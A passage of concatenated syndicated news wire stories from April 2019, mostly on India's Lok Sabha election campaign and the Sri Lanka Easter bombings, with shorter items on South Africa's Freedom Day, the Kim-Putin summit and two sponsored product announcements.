Apologies for the inconvenience." The Congress chief was scheduled to land at Patna airport and then proceed to Samastipur for the rally. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) South Africa: President to lead Freedom Day celebrations in Makhanda President Cyril Ramaphosa is expected to lead South Africas celebration of 25 years of freedom and democracy at the national Freedom Day event at Makhanda in the Eastern Cape, on Saturday. South Africans observe Freedom Day on 27 April each year to mark the date in 1994 of the first democratic election in which all South Africans were able to participate. The images of the long, snaking queues at voting stations is embedded in the minds of South Africans. This years Freedom Day celebrations will take place at the Miki Yili Stadium in Joza Township at Makhanda. The 2019 National Freedom Day marks 25 years of freedom from apartheid colonial oppression and the countrys development as a constitutional democracy. Freedom Day will be an occasion for the nation to reflect on how South Africas freedom and democracy was achieved and on the role all South Africans can play in growing the country together into the future, said the Presidency in a statement. The theme for this years event is "Celebrating 25 Years of Democracy". The 2019 celebrations comes just days before the sixth general election on 8 May 2019, where eligible voters will once again be able to exercise their democratic right to elect new leadership for the country. This national day is the culmination of Freedom Month which is an opportunity for South Africans to strengthen solidarity, express pride in our national identity and promote social cohesion. Freedom Month is a period during which the nation remembers and honours heroes who sacrificed their lives for freedom, said the Presidency. Government has invited as many South Africans as possible to actively celebrate Freedom Day in Makhanda and elsewhere around the country. SAnews.gov.za This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. Aladdin fans in China have a reason to cheer as the live-action adaptation of Disney's 'Aladdin' is set to release in China on May 24, the same day as in North America. Variety confirmed the same. 'Aladdin' stars Will Smith, who plays Genie, and Canadian newcomer Mena Massoud as Aladdin, in the twelfth remake of the animated Disney classic. The trailer of the film came out in March and featured British actress Naomi Scott essaying the role of Jasmine. The film is being helmed by Guy Ritchie. The classic which premiered in 1992, was directed by John Musker and Ron Clements. The show earned more than USD 504 million, globally. 'Aladdin's' release in China comes after the release of much anticipated Marvel film 'Avengers: Endgame'. The 22nd film in the franchise hit the screens on April 24 in China, two days before its release in the US. Prior to this, Guy Ritchie's 'King Arthur: Legend of the Sword' was released in China in 2017. However, the film performed average and earned a miniscule USD 8.4 million. Disney is also set to remake other animated classics including 'Mulan', 'The Little Mermaid', 'Snow White' and 'Pinocchio'. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Aam Aadmi Party (AAP) candidate from East Delhi Atishi Marlena on Friday filed a criminal complaint against BJP nominee Gautam Gambhir as his name figures twice in the electoral rolls. The complaint has been filed under Section 155(2) of the Representation of the People Act at Tis Hazari Court, seeking direction for the police to investigate Gambhir's offence, which is punishable under Sections 17, 31, 125A of the Representation of the People Act, said a press statement issued by Atishi's office. As per Section 17 of the Representation of the People Act, no person is entitled to be enrolled as a voter in more than one constituency. Section 31 makes false declaration in the matter of inclusion or exclusion of voter rolls punishable with up to one year in prison. Consequently, any such declarations made in order to obtain registration as a voter in two or more constituencies is a criminal offence punishable with imprisonment up to one year, or fine, or both. According to the statement, Gambhir is said to have stated in his affidavit submitted to the Returning Officer (RO) at the time of the nomination that he is only registered to vote in the Assembly constituency of Rajinder Nagar-39, Part No 43, Serial No 285, EPIC No. SMM1357243. "It was, however, discovered by Atishi after the scrutiny period concluded that Gautam Gambhir was also registered to vote in assembly constituency Karol Bagh-23, Part No 86, Serial No 87, EPIC No: RJN1616218." "This fact was also deliberately and willfully concealed by Gambhir during the time of filing and scrutiny of his nomination, as witnessed by the Returning Officer, presumably to avoid rejection of his nomination," the statement further said. Delhi, where seven Lok Sabha seats are at stake, goes to poll on May 12 in the sixth phase of seven-phased Lok Sabha elections, concluding on May 19. The counting of votes will be done on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mohomed Hashim Madaniya, sister of the suspected mastermind behind the deadly serial blasts that rocked Sri Lanka on Easter Sunday, killing more than 250 people, said that her entire family has been missing since the day of the attacks. Speaking exclusively to Daily Mirror [Sri Lanka], the 25-year-old woman said, " I went and gave food to my parents and my sisters family on April 18, and haven't heard from them since." Madaniya said that her brother, Zahran Hashim, 33, is the eldest of all siblings. He is married to Mohomed Haadiya, 23, and is the father of two children aged a boy aged eight and a girl aged four. Hashim's brother Mohomed Zeyin Hashim, 30, is married to Abdul Gafoor Afrin, 23, and has two children a boy, aged five, and a girl aged three. The third was Mohomed Rilwan Hashim, 28, married to Nafha, 20, and is the father of two children aged five, and the other a six-month-old boy. The remaining sister Mohomed Yaseera Hashim, 20, was married to Mohomed Rishad, 22, and is the mother of a boy aged one year, all of whom have left without a trace, Madaniya added. "I don't know where they are. From the 18th onwards I have had no contact with them," Madaniya was quoted as saying. "It was early 2017 when he started preaching things that we thought were out of line. They were things like the was made for Muslims and was against other religions," she said. "My husband didn't like what he was saying so we stopped our connections with him. That didn't mean we were angry, it's just that we stopped following him," she added. On April 21, eight explosions rattled Sri Lankan cities of Colombo, Negombo, Kochchikede and Batticaloa as the Christian community celebrated Easter. More than 500 people were injured in the serial blasts on Sunday. Shortly after the Islamic State claimed responsibility for the attacks, a video released by the terror group featuring Hashim, dressed in a black tunic, a headscarf and carrying a rifle, standing beside the group's chief Abu Bakr Al-Baghdadi. According to Channel NewsAsia, the Sri Lankan government has accused Hashim indirectly, saying the group he was believed to lead - the National Thowheeth Jama'ath (NTJ) - carried out the attacks. Intelligence officials and Prime Minister Ranil Wickremesinghe believe that Hashim, a Tamil-speaking preacher from the east of the country, may have been the mastermind. Apart from prior warnings of the attacks provided by India, the United States network cited an intelligence source as saying that "during the interrogation of an accused, he disclosed the name of a man, Zahran Hashim, who is one of the suicide bombers and is associated with NTJ". In response to allegations against Hashim, Madaniya said, "I fear for my safety. We live under a lot of tension." "It's unbearable to know what has happened. I don't want to have anything to do with him and hope he is dead," she added. When asked as to what she believes is the reason her immediate family have been untraceable she said she assumed the worst. "They must have joined him. They never spoke to me about him because they knew my husband didn't like him. I am the only one who has to take on all of this blame and suffering now. I don't want to have anything to do with any of them," Madaniya was quoted as saying. Meanwhile, the Sri Lankan special task force on Thursday arrested three people with home-made hand grenades and six swords from Modara in Colombo, Xinhua agency reported. Over 75 suspects have been arrested so far by the Sri Lankan security forces who conducted nationwide search operations to nab suspects linked to Sunday's explosions. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi on Thursday said it is for the first time in the history of independent India that a pro-incumbency wave has enveloped the nation. "Several polls have taken place in our country, but after this election, the political pundits will be baffled because it is for the first time in the history of independent India, that the wave of pro-incumbency has enveloped the nation," said Prime Minister Narendra Modi while interacting with his party cadres in Varanasi on Friday. He also lauded the party workers and said it for their hard work that people of the nation are saying "phir ek baar Modi sarkar." "The massive turn out in yesterday's road show was an example of your (BJP workers) hardwork. We have won the Varanasi yesterday, now we have to win polling booths set up across the constituency. I have never let my inner worker die. I am equally vigilant in my responsibility as a Prime Minister, an MP and a BJP worker," the Prime Minister further stated. "I am proud of our booth workers. They carried our door to door campaigns despite the scorching heat. Yesterday, I saw a family member in every resident of Varanasi," he added. The Prime Minister further said, "I am not at all concerned about my victory but I am more concerned about the victory of democracy." He also suggested them to greet the first time voters with flowers and sweets in order to make them feel responsible for shaping the future of the country. He also said that this Lok Sabha elections he wishes that women voters must outnumber men in Benaras. "I have a wish which I was not able to fulfil in Gujarat. Can the Benaras city fulfil my wish? I want women voters to turn out in more number than men voters." Varanasi will vote on May 19, the last phase of seven-phased Lok Sabha elections. Uttar Pradesh, where 80 Lok Sabha seats are at stake, is undergoing polls during all seven phases. So far, the election has been held for 26 Lok Sabah seats. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Three explosions rocked Kalmunai city of Sri Lanka on Friday while security forces were carrying out searches to nab suspects of the Easter Sunday attacks. No casualties or damage to property has been reported yet. During the raids, the Sri Lankan police recovered Islamic State uniforms, ISIS flags, 150 Gelignite sticks, 100,000 ball bearings and a drone camera in Sammanthurai, CNN quoted police, as saying. On April 21, eight explosions rattled Sri Lankan cities of Colombo, Negombo, Kochchikede, and Batticaloa amid Easter Sunday celebrations. At least 250 people were killed and over 500 others were injured in the serial blasts. Sri Lankan Prime Minister Ranil Wickremesinghe had on Thursday warned of "sleeper cells" that might launch more attacks in the island nation. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Government should take responsibility for the Easter Sunday attacks, as well as for weakening country's intelligence services, said Sri Lankan President Maithripala Sirisena on Friday. Speaking at a press conference here, Sirisena additionally asserted that the Inspector General of Police (IGP) Pujith Jayasundara will step down from the post today, reported Daily Mirror (Sri Lanka). The development has come after the Sri Lankan President on Wednesday sought the resignation of Defense Minister Hemasiri Fernando, along with the IGP, amid the reports of mounting criticism against the government over its failure to curtail the massacre, despite a detailed warning. Following this, Hemasiri Fernando stepped down from the post yesterday. CNN reported that warnings were shared with Sri Lankan security services, including one memo addressed to the IGP, prior to the attacks. However, no measures were taken to thwart the deadly attacks which killed more than 350 people, including 10 Indians. On April 21, eight explosions rattled Sri Lankan cities of Colombo, Negombo, Kochchikede and Batticaloa as the Christian community celebrated Easter Sunday. At least 250 people were killed and over 500 others were injured in the serial blasts. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The First Lady of the United States, Melania Trump is looking forward to celebrating her 49th birthday with Japan's first couple Prime Minister Shinzo Abe and his wife, Akie Abe at a private dinner at the White House on Friday night. Melania Trump rang in her 49th birthday on Friday. Abe and Trump are expected to work towards a bilateral trade deal that could give American farmers more access to Japan's market and forestall tariffs on Japanese cars, The New York Times reported. Japan is likely to request an exemption from the tariffs imposed by the Trump administration on its steel, aluminium and cars that Japan sends annually to the United States. On Thursday, Trump was quoted as saying that Abe would be coming to the White House "for a very important meeting." In addition, the two leaders are expected to discuss issues including North Korea's denuclearisation, cooperation on energy in the Indo-Pacific region, and China. Meanwhile, few hours ago, the White House's official Twitter page released a picture of Melania to mark her birthday. In the photo, the first lady is seen sitting on a sofa and surrounded by the press. . (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Jammu and Kashmir Governor Satyapal Malik on Friday opposed the proposal to hold assembly elections in June and instead urged the Election Commission of India (ECI) to hold elections in November. The state administration cited Ramzan, tourist season, and Bakerwal migration as reasons for advancing the polls to November this year. Announcing seven-phased Lok Sabha election schedule on March 10, Chief Election Commissioner Sunil Arora had said that elections for Jammu and Kashmir assembly would not be conducted along with the parliamentary elections. In June 2018, the Bharatiya Janata Party (BJP) had withdrawn support to the PDP government, led by Mehbooba Mufti in the 87-member state assembly. Since the fall of the coalition government, the state has been under the President's rule. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Jammu and Kashmir High Court on Friday dismissed an appeal by JKLF chief Muhammad Yasin Malik to transfer the trial of two 30-year-old cases against him from Jammu to Srinagar. Jammu and Kashmir Liberation Front chief Yasin Malik has been booked under the Public Safety Act (PSA). Malik was arrested a couple of weeks after the Central government banned JKLF saying that the outfit led by the former militant leader Malik was actively engaged in inciting secessionism and illegal funneling of funds for fomenting terrorism in Jammu and Kashmir. Malik, who was detained on February 22 this year, was lodged at Kothibagh police station. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress leader Jairam Ramesh believes in shoot and scoot model following which he makes false and malicious allegations and then runs away, said Vivek Doval, son of Security Advisor (NSA) Ajit Doval here on Friday. He should have come and presented his views before the court. Now, this only makes me feel he comes across what politicians of his kind do, who rely on a shoot and scoot model of making false, malicious allegations and run away," Doval told ANI. The statement comes after the Congress leader failed to appear before the Rouse Avenue Court in connection with the defamation case filed against him. "I do feel sympathetic if the gentleman has some personal circumstances because of which he was not able to appear, but the fact of the matter is he has been on media on the 21st, 22nd, 23rd April through press conferences," Doval added. The Rouse Avenue Court on Thursday granted bail to Caravan Editor-In-Chief Paresh Nath and reporter Kaushal Shroff in connection with a defamation suit filed by Vivek Doval. Additional Chief Metropolitan Magistrate (ACMM) Samar Vishal while granting bail to the Caravan journalists directed them to furnish a personal bail bond of Rs. 20,000 each and Rs. 1 lakh each surety amount. ACMM Vishal posted the matter for further consideration on May 9. Meanwhile, Congress leader Jairam Ramesh, the third accused in the case, did not appear before the court today. Ramesh's counsel moved an exemption plea before the bench and while informing the judge that there is some rituals ceremony taking place at his client's residence after his wife passed away a few months ago. Accepting Ramesh's plea, the court granted him exemption and asked him to appear before it on the next date of hearing. Last month, the court issued summons as an 'accused' against Ramesh, Nath and Shroff in the defamation case filed by Vivek. All the accused have to appear before the court on April 25. On January 21, Vivek had filed a criminal defamation case against Ramesh and the two journalists, contending that they had caused "irreparable damage" to his reputation "through calculated insinuations and innuendos." Vivek alleged that Ramesh and the two scribes have committed the offence of defamation punishable under Section 500 of IPC (which provides for simple imprisonment for a term which may extend to two years, or with fine, or with both) read with Section 120-B IPC (criminal conspiracy). Vivek, his business partner Amit Sharma and friend Nikhil Kapoor have already recorded their statements in connection to the matter. Vivek had filed the complaint against the magazine for the alleged defamatory article and Ramesh for using the content to defame him on wrong facts. The Caravan article claimed that Vivek was running a hedge fund whose promoters are of dubious antecedents. In his plea, Vivek had alleged that the accused had deliberately maligned and defamed him just to settle scores with his father. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Begusarai (Bihar) [India] Apr 26 (ANI): Union Minister and BJP candidate from Begusarai, Giriraj Singh, who is contesting against the CPI's Kanhaiya Kumar and RJD's Tanveer Hassan, said that he considers Kumar and Hassan as his competition. "I don't see any competition here, I myself am competition. My fight is to make people aware of distorted sentiments of RJD, Congress and the Communist party in Begusarai," Singh asserted. "Begusarai's public has bore the brunt of violent revolutions in the past concerning land-grabbing and industrial lockouts. The more I make people aware of the nefarious designs of the opposition, the victory will be greater," he added. Slamming Congress president Rahul Gandhi he said, "Rahul Gandhi realised that he will lose Amethi seat and that's why he decided to fight from Kerala's Wayanad. There was not a single Congress party's flag during his nomination filing process, a green flag with half moon in the corner was there like he filed his nominations from Pakistan, not from Kerala. The complete view looks like scenes from the enemy Country (Pakistan). It was representing a different view. That's why I requested Election commission to prohibit green flag." "Congress party is working on Pakistan agenda. They support terrorism; they raise questions on our Soldiers and asked for the proofs of surgical strike. Earlier, Mani Shankar Aiyar from Congress used to make such remarks and now Navjot Singh Sidhu has started giving such statements," he added. "As you sow so you reap. I do not even take his name, my fight is with ideology not with anybody," said Singh when asked about Kanhaiya Kumar accused him of disturbing his roadshows. Three phases of elections are over in Bihar while the other four phases will take place on April 29, May 6, 12 and 19 respectively. The counting of votes will be done on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Kerala Chief Minister Pinarayi Vijayan on Friday hit back at Prime Minister Narendra Modi for his statement on the safety of BJP workers in the state. "On what basis did he say that BJP activists couldn't walk free in the state? His intent is to insult the state with such statements," said Chief Minister Vijayan. Prime Minister Modi on Friday morning in Varanasi said that the BJP workers in Kerala did not know whether they would return safely once they left home. Terming such statements as unbecoming for a person holding the post of PM, Vijayan said, " Crime Records Bureau (NCRB) data reveals that Kerala is one of the most peaceful states." "Sangh Parivar activists who indulge in violence may get special privilege in the BJP ruled states like UP and Gujarat but won't get that in Kerala," he said. Accusing the RSS of repeatedly trying to instigate communal thoughts to disrupt peace and harmony, Vijayan said: "The people of Kerala have always stood firm against such attempts. Such designs will never succeed." All 20 Lok Sabha seats in Kerala went to polls in the third phase of election on April 23. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) North Korean leader Kim Jong-un on Thursday extended an invitation to his Russian counterpart to visit North Korea at "a convenient time" and the invitation was "readily accepted", state media reported. The invitation comes shortly after the North Korean leader held talks with Putin in the port city of Vladivostok. "The dignified supreme leader 's comrade once again expressed his deep appreciation for the friendship and warm hospitality of friends of friendly Russia. He promised a new reunion with Mr. Putin in North Korea," Korean Central News Agency said in a report. The two leaders met for their maiden summit in Vladivostok, amid a deadlock between Washington and Pyongyang over North Korea's nuclear programme. The Russian leader greeted Kim as the latter arrived at the federal university here for the talks. At the meeting, Putin said, "Russia supports the efforts of the leadership of the Democratic People's Republic of Korea for the realisation of seasonal dialogue and improvement of North-South relations." "President Putin said that Russia is willing to cooperate with Russia in resolving tensions in the Korean Peninsula and strengthening security throughout the Northeast Asian region. He said that under the active participation of the international community and all interested countries, He was convinced that he would surely achieve the goal of ensuring peace and stability and achieving prosperity," KCNA reported. "President Putin and I have talked on a meaningful dialogue on the issues of peace and security in the Korean peninsula and the region, and international issues that are of common concern. It was emphasised that it is a solid government and a strategic policy of the government of the Republic to constantly strengthen and develop in line with the demands of the century," KCNA quoted Kim as saying. After the three-hour long summit, Putin called Kim a "very open person", saying that they had detailed, open discussion of sanctions, the US and denuclearisation, Sputnik reported. The summit comes after the failed summit between Kim and United States President Donald Trump in Hanoi in February went off the table as the two sides were unable to reach an agreement over the denuclearisation of the Korean peninsula and Washington's sanctions relief. In Thursday's summit, Kim blamed Washington's "unilateral" attitude for the breakdown of his February meeting with Trump and the current stalemate in denuclearization negotiations, according to the KCNA. "The situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took a unilateral attitude in bad faith at the recent second Democratic People's Republic of Korea (DPRK)-U.S. summit talks," Kim was quoted as saying. "And (he) added that peace and security on the Korean peninsula will entirely depend on the U.S. future attitude, and the DPRK will gird itself for every possible situation," KCNA said. This was the first meeting between Kim and Putin in eight years. Former leader of North Korea Kim Jong-il, father of Kim Jong-un, had met then Russian President Dmitry Medvedev in 2011. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Enforcement Directorate on Friday auctioned a total of 12 luxury cars - 10 of Nirav Modi Group and 2 of Mehul Choksi Group - for over Rs 3 crore. In line with the PMLA Court's March 20 order, the ED, through Metal Scrap Trade Corporation Ltd. (MSTC), e-auctioned attached vehicles of the two businessmen for approximately Rs 3.29 crore. On March 20, a special court under the Prevention of Money Laundering Act (PMLA) had granted permission to auction paintings and cars belonging to Nirav Modi. "A special PMLA court has allowed Income Tax Department's application to auction some paintings from the collection of Nirav Modi. All those paintings have been seized by the ED," sources had said. The fugitive diamond merchant is wanted for his alleged involvement in the Rs 13,000 crore Punjab Bank (PNB) loan default case, along with Choksi, his uncle-cum-business partner. Choksi was granted citizenship of Antigua and Barbuda on January 15, 2018. Both Modi and Choksi left India in January last year before the PNB scam came out in the public. The duo has not returned to India despite repeated summons from probe agencies and courts. . (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mumbai Police on Friday apprehended Maharastra's Bhim Army chief Ashok Kamble for announcing a reward of Rs 5 lakh to whosoever blackens Sadhvi Pragya Singh Thakur's face. The police also held seven workers of the party in connection with the matter. This arrest came a day after Kamble lambasted the Bhopal BJP candidate for her statement on slain IPS officer Hemant Karkare. Kamble had also announced that the Bhim Army would give Rs 5 lakh as a reward to anyone who blackens Thakur's face in her village. On April 19, Thakur, an accused in the 2008 Malegaon blasts case, said Karkare had lost his life because she had cursed him. "I called Hemant Karkare and asked him to let me go if there is no evidence (against me). He (Karkare) said that he will bring evidence but will not leave me. I told him -- You will be ruined," she said. Karkare was killed along with two other senior police officers while fighting terrorists during the 26/11 attacks in Mumbai in November 2008. BJP has fielded Thakur against Congress veteran Digvijaya Singh from Bhopal Lok Sabha seat, elections for which will be held on May 12. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Maharashtra Congress MLA Kalidas Kolambkar on Friday attended a rally by NDA in Maharashtra and said that he will leave his party and support those who work. "I am angry with the Congress party as no work could happen in my constituency. I will leave Congress and support those who work. I came here to listen to their speech. I used to come to Atal Bihari Vajpayee's speeches as well," Kolambkar said while speaking to ANI here. Kolambkar was seen in NDA's rally which was facilitated by Prime Minister Narendra Modi, Maharashtra Chief Minister Devendra Fadnavis, Shiv Sena chief Uddhav Thackeray. Kolambkar is a seven-term Member of the Maharashtra Legislative Assembly and was elected from the Wadala assembly constituency of Mumbai. Polling for 17 seats in Maharashtra will take place on April 29. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress president Rahul Gandhi on Friday alleged that although Prime Minister Narendra Modi opened bank accounts for people under the Pradhan Mantri Jan Dhan Yojana (PMJDY) scheme, money was deposited in Anil Ambani's bank account. "You will get Rs 6,000 per month until you get Rs 12,000 as your monthly income. Narendra Modi ji did a good work that he opened bank accounts," Gandhi said while addressing a poll rally here. "However, he made a fool of people. He opened bank accounts and deposited money in the bank account of Anil Ambani. But we will deposit money in the accounts opened by him." The Congress president also promised increased prices of paddy to cultivators in the region. "Chhattisgarh farmers get Rs 2500 per quintal for their paddy and you get only Rs 1200 in Odisha. This is an injustice of Patnaik. You will get Rs 2600 for your paddy here," he said. Gandhi went on to claim that Modi tried to revoke bills related to tribals. "We brought a land acquisition bill and tribal bill. Narendra Modi tried to revoke all these bills. In Bastar, Tata took land from tribals. It is written in the bill if industrialist has not started the work land will be given back to tribals. In Chhattisgarh, we gave the land back to tribals," he said. Gandhi further said that Congress' poll promise of NYAY in which the party will give Rs 72,000 to 20 per cent of poor whose income is under Rs 12,000, has two major goals. "There are two goals of NYAY scheme - first, putting money in the pockets of the poor in the country and secondly, to kickstart the country's economy," he said. "No money will be taken from the middle class. No additional tax will be rolled out. The money will be taken from the pockets of Anil Ambani, Nirav Modi and others." Gandhi reiterated the poll promise made to farmers and said that no farmer will be put behind bars if he fails to repay loans. He also promised that there will be a separate budget for farmers if the party is voted to power in 2019. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With a vision to transform the lives of underprivileged and special needs children, Nippon Paint has partnered with Delhi-based Tamana and Blind Relief Association along with Pragati Wheel School. As a part of this association, Nippon Paint - Automotive Refinish has donated internally-raised funds to these schools, helping bring about a significant and positive change in these children's lives. Not only this, but the company is also sponsoring vocational training for students from Pragati Wheel School (New Delhi). "It is a matter of great honour and pride for us to support these organisations working towards the welfare of children. Our initiative is a tiny step towards the greater good. This is a small but significant beginning for Nippon Paint as we hope to create awareness for the cause and generate social impact with our support. We are also in talks with these schools for a long-term association towards Skill Development", said Sharad Malhotra President Automotive Refinish, Nippon Paint (India). Students from these three institutions also performed at the Nippon Nation Event held for employees and partners earlier this month at Kingdom of Dreams, Gurugram. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US President Donald Trump on Friday said that no money was paid to North Korea for the release of US student Otto Warmbier, who was detained by the reclusive state while on a college trip there in 2016. "No money was paid to North Korea for Otto Warmbier, not two million dollars, not anything else. This is not the Obama administration that paid 1.8 billion dollars for four hostages or gave five terrorist hostages plus, who soon went back to the battle, for traitor Sgt. Bergdahl!" Trump tweeted. Quoting a 'Chief Hostage Negotiator, USA,' Trump added: "President Donald J. Trump is the greatest hostage negotiator that I know of in the history of the United States. 20 hostages, many in impossible circumstances, have been released in the last two years. No money was paid." This comes after reports of North Korea slapping a USD two million medical bill on the United States for Warmbier emerged in American news outlets on Thursday. The Washington Post alleged that the US had signed a pledge to pay the bill before releasing the US student in 2017, after holding him captive for almost a year. Warmbier, who was in a vegetative state, died just six days after returning home to the US. After the second summit with the North Korean leader in Vietnam in February, Trump said that he does not hold Kim responsible for Warmbier's death. The American student suffered severe brain damage during his captivity. The Trump administration placed intense pressure on Pyongyang to release Warmbier when they learned of his condition. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi based innovative online sleep solutions brand, Durfi, has announced the launch of its flagship product - Cotton Candy memory foam mattress. Designed to keep the back aligned, the innovative Durfi Cotton Candy memory foam mattress combines the goodness of all types of mattress to offer a superior product that facilitates a wholesome and comfortable sleep. The product is fully customizable and shipped directly to customers, thereby eliminating middlemen and making it affordable. The company delivers to 6000 pin codes across the country and aims to sell over 13,000 mattresses with revenues of Rs 19 crores by 2022. With extensive research and development to ensure global quality standards, Durfi mattresses are made at the company's two world-class manufacturing units located at Coimbatore, and Haridwar. The Cotton Candy foam mattress provides a quicker response at dispersing heat and properly regulates body temperature compared to traditional memory foam. It envelops your entire body and lets it sink in deeper than ever, keeping your remaining body firm enough to feel propped up. It's also less bouncy and moulds as per the body shape and evenly distributes the pressure. The mattress comes with hypoallergenic grade 400 GSM fabric designed to minimize the possibilities of an allergic response to the skin with no potentially irritating substances. It features 100 per cent pure high resilience comfort layer with airflow technology which maintains the circulation of air inside the mattress. Made with the best quality, breathable fabric, without mercury, lead and other heavy metals, Durfi mattress eliminates sagging and is highly durable. Additionally, the Cotton Candy foam mattress has a base support orthopaedic layer for ultimate back support and is dust mite barrier & amp; Insect free. "Our study indicates that Indians have the poorest sleeping pattern clocking an average of 6:55 hrs as against the recommended 7-8 hrs. Part of the problem can be attributed to poor choice of mattress. At Durfi, we are passionate about bringing high-quality sleep solutions to our customers. Our innovative Cotton Candy foam mattress combines the goodness of all types of mattress and is designed to eliminate sleep-related discomfort with its superior features. Blending premium quality with affordability, Durfi hopes to help every Indian get a good night's sleep", said Balasubramanyam SV, General Manager, Durfi Retail Pvt. Ltd. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Palamu (Jharkhand) [India], April 26 (ANI): People of Palamu are gearing up to cast their votes in the ongoing Lok Sabha polls, this time without any fear of Naxalites. The area is badly affected by Left Wing Extremism. Previously, Naxalites have threatened people with dire sequences if they did not boycott the elections. However, that has become a thing of the past as people are now coming forth even to condemn Naxalite activities. "Things have changed now. We will cast our vote without any fear. Security forces and the administration have taken over entire Naxal affected areas at a large scale. So, there is nothing to worry now," said a voter. 75-year old Brijmohan Prasad, who runs a confectionery shop, says that this time Naxalites have not circulated any threats. Given the unprecedented change in the ground situation, the total poll percentage is expected to go much higher than the 62 per cent votes polled in the 2014 Lok Sabha elections. The total number of voters in Palamu is 9,86,372 out of which 4,52,646 are female voters while 5,33,726 are male voters. The number of first-time voters is 8,664. Talking about these developments, DIG Palamu range, Vipul Shukla, said, "This situation is the outcome of strategic, stringent actions against Naxals in the region for the last few years. Police have captured those areas and spots that were considered to be Naxal bases." "Most of the deadly operations in the past had been carried out from these bases only. Now, police have converted them into pickets and check posts. Last year, nine top Naxals surrendered while 17 were killed in encounters with police in Palamau and other neighbouring districts," the officer added. He asserted that the influence of Naxals in Palamu and surrounding areas has been minimized to a great extent. "Many top Naxalites have either been killed or surrendered. This has brought down their power to almost zero. They are not in a position to attack or do anything untoward during day time," Shukla claimed. He also informed that police presence and patrolling frequency have been increased in the entire constituency area which has helped the administration in winning the confidence of the locals. Palamu will go to polls on April 29. The results will be announced on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) After filing his nomination from Varanasi parliamentary constituency, Prime Minister Narendra Modi on Friday expressed gratitude to people of temple city for blessing him even after five years and urged voters to cast vote on the polling day. "I thank residents of Varanasi for their support. Thankful for the love I got. I deeply express gratitude towards people of Kashi. They have again blessed me after five years. Such a grand roadshow yesterday was possible only in Kashi. I urge all the voters to cast their respective votes. Come out and vote in huge numbers," Modi told reporters here. The Prime Minister also urged people to not believe anyone who discourages them from exercising their franchise. He added, "Some are making an atmosphere that Modi has already won, so it would be fine if you don't cast your vote. I request you all to not fall for it. Voting is your right, this is a festival of democracy, one should vote to make democracy stronger. I urge all the people not to believe them and to come out and vote. People should vote in large numbers to make the country strong." Modi filed his nomination to fight the ongoing Lok Sabha elections from the Varanasi parliamentary constituency, the seat from where he handsomely won the 2014 general elections. Varanasi, earlier known as Banaras, will vote in the last phase of the seven-phase Lok Sabha elections on May 19. Almost all prominent leaders of the BJP, as well as members of the Democratic Alliance (NDA) and North-East Democratic Alliance (NEDA), were present with Modi. Modi is seeking a second term in office from Varanasi, a parliamentary seat he won in 2014, defeating Aam Aadmi Party (AAP) convenor and Delhi Chief Minister Arvind Kejriwal by a massive margin of 3.37 lakh votes. Modi stormed to power in 2014 general elections with Bharatiya Janata Party (BJP) winning 282 of the Lok Sabha's 543 constituencies. The BJP won an absolute majority in 2014, reducing the then-ruling Congress to a miserly 44 seats. During the 2014 general elections, Modi had contested and won from Vadodara in Gujarat as well as from Varanasi but retained the latter after trouncing Aam Aadmi Party convenor Arvind Kejriwal with a massive margin of 3.37 lakh votes. A day before filing nomination Modi on Thursday held a roadshow and performed Ganga aarti in Varanasi. The Prime Minister began the mega roadshow after paying tributes to Pt Madan Mohan Malviya's statue outside Banaras Hindu University. The rally, spanning over six kilometers, passed through Lanka and Madanpura areas of the city and came to an end at the famed Dashashwamedh Ghat. Immersed in devotion, Modi listened to hymns performed on the bank of river Ganga and later performed Aarti at the ghat of the holy river. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BSP chief Mayawati on Friday launched a scathing attack on Prime Minister Narendra Modi saying that he does not belong to the backward class by birth. "Prime Minister Narendra Modi still says he is from the weaker section of the society. Everyone knows that Prime Minister Narendra Modi does not belong to backward class by birth," she said here while addressing an election rally. "When his government was formed in Gujarat, then he got his community included in the backward class list. He just wants the votes of the people from backward classes. He is fake," she said. Asserting that the people of the reserved class are not getting reservation, former UP Chief Minister Mayawati said: "I want to tell you all that if he were truly well-wisher classes, then your position with regard to the reservation would not have been so bad." On Thursday, while addressing an election rally in Banda in Uttar Pradesh, Prime Minister Modi had accused the SP-BSP alliance of indulging in caste "SP-BSP people are busy distributing my caste certificate," he had said. Mayawati also claimed the BJP will lose the ongoing Lok Sabha elections due to its "wrong policies" and "hate " "None of his theatrics and 'jumlebazi' will work in this election. The new theatrics of 'Chowkidari' too won't be able to save him," said the BSP president. "It seems to me that this even Ganga 'Maiyaa' is not too happy with them (BJP). Ganga 'Maiyaa' won't bless them in this election," she said. Referring to her rally in Kannauj where a bull entered the venue, she said: "Now the stray animals of BJP are being left in out elections rallies." Speaking in the rally, Samajwadi Party (SP) president Akhilesh Yadav praised Mayawati for fulfilling the dreams of Dr BR Ambedkar and Dr Ram Manohar Lohia. "I want to thank Mayawati ji for turning the dreams 